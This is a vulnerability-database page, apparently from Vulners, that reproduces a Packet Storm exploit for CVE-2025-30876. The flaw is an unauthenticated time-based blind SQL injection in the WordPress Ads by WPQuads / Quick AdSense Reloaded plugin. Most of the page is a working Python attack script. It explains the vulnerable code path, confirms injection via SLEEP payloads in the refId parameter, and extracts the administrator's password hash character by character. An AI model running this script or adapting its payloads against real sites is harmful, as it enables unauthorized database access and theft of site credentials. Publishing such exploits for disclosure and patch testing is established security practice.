Lucene search
+L

📄 WordPress Ads by WPQuads / Quick AdSense Reloaded 2.0.87 Unauthenticated SQL Injection

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 37 Views

Unauthenticated time-based blind SQL injection in WordPress Quick AdSense Reloaded <=2.0.87.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-30876
1 Apr 202506:15
attackerkb
Circl
CVE-2025-30876
1 Apr 202506:40
circl
CNNVD
WordPress plugin Ads by WPQuads SQL注入漏洞
1 Apr 202500:00
cnnvd
CVE
CVE-2025-30876
1 Apr 202505:31
cve
Cvelist
CVE-2025-30876 WordPress Ads by WPQuads plugin <= 2.0.87.1 - SQL Injection Vulnerability
1 Apr 202505:31
cvelist
EUVD
EUVD-2025-9092
3 Oct 202520:07
euvd
NVD
CVE-2025-30876
1 Apr 202506:15
nvd
Patchstack
WordPress Ads by WPQuads plugin <= 2.0.87.1 - SQL Injection Vulnerability
27 Mar 202511:27
patchstack
Positive Technologies
PT-2025-14060 · Wpquads · Wpquads
1 Apr 202500:00
ptsecurity
RedhatCVE
CVE-2025-30876
3 Apr 202509:50
redhatcve
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Ads by WPQuads / Quick AdSense Reloaded <= 2.0.87 - Unauthenticated SQL Injection
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/quick-adsense-reloaded/
    # Software Link: https://downloads.wordpress.org/plugin/quick-adsense-reloaded.2.0.87.zip
    # Version: 2.0.87 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-30876
    """CVE-2025-30876 — Ads by WPQuads / Quick AdSense Reloaded <= 2.0.87 — Unauthenticated SQLi
    
    Blackbox HTTP time-based blind SQL injection against a real WordPress + Quick AdSense install
    that has the "sell ads" feature in use (the `wp_quads_adbuy_data` table exists with >=1 row —
    see setup_state.sh / README for how to create that state).
    
    Root cause: `quads_authorize_payment_success()` is hooked on the unauthenticated `init` action
    (includes/ad-selling-helper.php:87). It reads `refId` from GET and concatenates it, unquoted,
    into a numeric SQL context with no preparation:
    
        // includes/ad-selling-helper.php:105
        $ad_details = $wpdb->get_row("SELECT * FROM $table_name WHERE id = $order_id AND user_id = $user->ID");
    
    `$order_id = sanitize_text_field(wp_unslash($_GET['refId']))` — no quotes are needed (numeric
    context), so `refId=0 OR SLEEP(4)` injects directly. Blind (result used only internally), so
    time-based extraction is used.
    
    Gate params required: status=success, ad_slot_id>0, user_id (an existing user id, e.g. 1=admin),
    refId non-empty, and NO `target` param.
    
    Usage:
      python3 CVE-2025-30876_quick-adsense.py --target http://localhost:8090 --dump-hash
    """
    import argparse, time, sys, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def send(base, refId, timeout):
        qs = {"status": "success", "ad_slot_id": "1", "user_id": "1", "refId": refId}
        url = base.rstrip("/") + "/?" + urllib.parse.urlencode(qs)
        t0 = time.time()
        try:
            requests.get(url, timeout=timeout, verify=False)
        except requests.exceptions.ReadTimeout:
            return timeout
        return time.time() - t0
    
    def oracle(base, cond, delay=4):
        el = send(base, f"0 OR IF(({cond}),SLEEP({delay}),0)", timeout=delay + 15)
        return el > delay * 0.7
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--dump-hash", action="store_true", help="extract admin (user 1) password hash prefix")
        args = ap.parse_args()
        base = args.target
    
        print(f"[*] Target: {base}")
        print("[*] Calibrating time-based oracle (refId numeric injection on init hook)...")
        t0 = send(base, "1", 20)
        t1 = send(base, "0 OR SLEEP(4)", 25)
        print(f"    refId=1 -> {t0:.2f}s   refId=0 OR SLEEP(4) -> {t1:.2f}s")
        if t1 - t0 < 3:
            print("[-] No delay. Ensure the sell-ads table wp_quads_adbuy_data exists with >=1 row (see README).")
            return 1
        print("\n[+] SQL INJECTION CONFIRMED (time-based blind, unauthenticated).")
    
        if args.dump_hash:
            print("[*] Extracting wp_users[ID=1].user_pass (first 16 chars) via boolean/time oracle...")
            h = ""
            for pos in range(1, 17):
                lo, hi = 32, 126
                while lo <= hi:
                    mid = (lo + hi) // 2
                    cond = f"ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1))>{mid}"
                    if oracle(base, cond):
                        lo = mid + 1
                    else:
                        hi = mid - 1
                if lo == 32:
                    break
                h += chr(lo)
                print(f"    hash[{pos}] = {chr(lo)!r} -> {h!r}")
            print(f"\n[+] Extracted admin password-hash prefix: {h!r}")
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
9High risk
Vulners AI Score9
CVSS 3.19.3
EPSS0.00442
SSVC
37